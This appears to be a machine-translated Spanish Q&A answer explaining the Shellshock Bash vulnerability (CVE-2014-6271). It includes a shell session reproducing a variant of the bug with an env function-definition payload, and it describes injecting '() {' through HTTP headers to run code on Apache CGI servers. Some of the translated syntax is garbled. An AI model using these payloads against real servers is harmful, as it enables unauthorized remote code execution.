¿Cómo se puede ejecutar código remoto a través de Bash? ¿Cómo puedo aprovechar la vulnerabilidad de ejecución remota de código de Bash?

Supongo que la vulnerabilidad de la que estás hablando es CVE-2014-6271.

Así es como se recrea [1], el texto seguido de # son comentarios:

 [email protected] :~/sec$ ls [email protected] :~/sec$ # See, nothing in directory [email protected] :~/sec$ env X='() { (bleh)=>\' bash -c "foofile date" bash: X: line 1: syntax error near unexpected token `=' bash: X: line 1: `' bash: error importing function definition for `X' [email protected] :~/sec$ ls foofile [email protected] :~/sec$ #WTF! foofile was not supposed to be there [email protected] :~/sec$ cat foofile Thu Sep 25 09:19:05 IST 2014 [email protected] :~/sec$ # WTF! How did a command execute when it was not supposed to? 

Cómo explotarlo de forma remota:

Una solicitud HTTP típica se ve algo así [2]:

  GET / ruta? Query-param-name = query-param-value HTTP / 1.1
 Anfitrión: http://www.example.com
 Personalizado: valor de encabezado personalizado

Cuando la solicitud se envía al servidor httpd de Apache, convertirá estas cadenas en variables ambientales como estas:

  • REMOTE_HOST: http://www.example.com
  • HTTP_CUSTOM: valor de encabezado personalizado
  • SERVER_PROTOCOL: HTTP / 1.1

Si coloca la cadena mágica () { en su solicitud y envía una solicitud HTTP como la que se muestra arriba, ¡entonces ha ejecutado algún código en el servidor remoto!

[1] Ejemplo de fuente de recreación: “El parche bash me parece incompleto, el análisis de funciones sigue siendo frágil. Por ejemplo, $ env X = ‘() {(a) => \’ sh -c” echo date “; cat echo”
[2] ejecución remota de código a través de bash

ACTUALIZACIÓN: ¡ Pude recrear esta vulnerabilidad de seguridad en nuestro servidor de compilación interno que ejecuta Apache httpd esta mañana!